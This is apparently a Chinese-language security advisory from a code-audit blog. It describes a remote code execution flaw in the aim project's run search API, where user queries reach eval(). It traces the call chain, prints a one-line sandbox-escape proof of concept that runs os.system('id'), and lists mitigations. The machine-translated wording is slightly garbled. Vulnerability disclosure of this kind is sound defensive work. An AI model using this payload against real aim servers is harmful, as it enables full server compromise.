摘要
- 漏洞类型:远程代码执行(RCE)
- 产品:目标
- 版本:>= 3.0.0(afaik)
- 受影响的端点:
/api/runs/search/run/
- 严重性:临界
描述
在aim
项目中发现了一个关键的远程代码执行漏洞,特别是在/api/runs/search/run/
端点中。该漏洞允许攻击者在服务器上执行任意代码,这可能会导致系统完全泄露。
易受弱的代码
该漏洞存在于theaimaim/web/api/runs/views.py
文件中的therunrun_search_api
函数中。该代码没有正确限制用户对RunView
对象的访问,允许通过query
参数执行任意代码。
开始分析🧐
@runs_router.get('/search/run/', response_model=RunSearchApiOut, responses={400: {'model': QuerySyntaxErrorOut}}) async def run_search_api(q: Optional[str] = '', limit: Optional[int] = 0, offset: Optional[str] = None, ...): from aim.sdk.sequence_collection import QueryRunSequenceCollection repo = get_project_repo() query = checked_query(q) repo._prepare_runs_cache() runs = QueryRunSequenceCollection(repo=repo, query=query, paginated=bool(limit), offset=offset, ...) streamer = run_search_resul
t_stre
amer(runs, limit, ...) return StreamingResponse(streamer)
功能呼叫链
-
端点处理程序:
-
- 端点:
/api/runs/search/run/
- 位置:
aim/web/api/runs/views.py
- 线路:
#80
- 代码:
streamer
= run_search_result_streamer(runs, limit, ...)
- 端点:
-
迭代超过运行:
-
- 位置:
aim/web/api/runs/utils.py
- 线路:
#258
- 功能:
run_search_result_streamer
- 代码:
for
run_trace_collection, progress in runs.iter_runs(): # ...
- 位置:
-
QueryRunSequenceCollection.iter_runs():
-
- 位置:
aim/sdk/sequence_collection.py
- 线路:
#249
- 方法:
iter_runs
- 代码:
self.query.check(run=run_view)
- 位置:
- Query.check():
- 位置:
aim/storage/query.py
- 线路:
#190
- 方法:
check
- 代码:
eval(self._checker, restricted_globals, namespace)
概念验证(PoC)
以下POC演示了RCE漏洞:
run.run.dataframe().query
("@run.run.__class__.__init__.__globals__['logging'].os.system('id')")
利用对RunView对象的无限制访问,允许任意代码执行,导致服务器完全泄露,包括网络访问、文件系统、秘密和云元数据。
减轻
为了缓解此漏洞,建议:
-
限制用户访问:限制用户访问DataFrame等危险对象。
-
实施适当的输入验证:确保用户输入,特别是查询中使用的输入,经过适当验证和消毒,以防止代码注入。
影响
这种RCE漏洞可能会产生严重的后果,包括但不限于:
-
网络泄露:攻击者可以执行任意命令,这可能会导致网络泄露。
-
文件系统访问:对文件系统的完全访问允许攻击者读取、写入和删除文件,从而损害系统完整性和可用性。
-
访问秘密:访问文件系统内的敏感数据,包括环境变量、秘密和潜在的云元数据。
-
数据泄露:执行任意代码的能力为攻击者提供了泄露敏感信息的手段。
代码审计3
代码审计 · 目录
上一篇CVE-2023-29055下一篇【未公开漏洞】蓝凌EIS存在多处SQL注入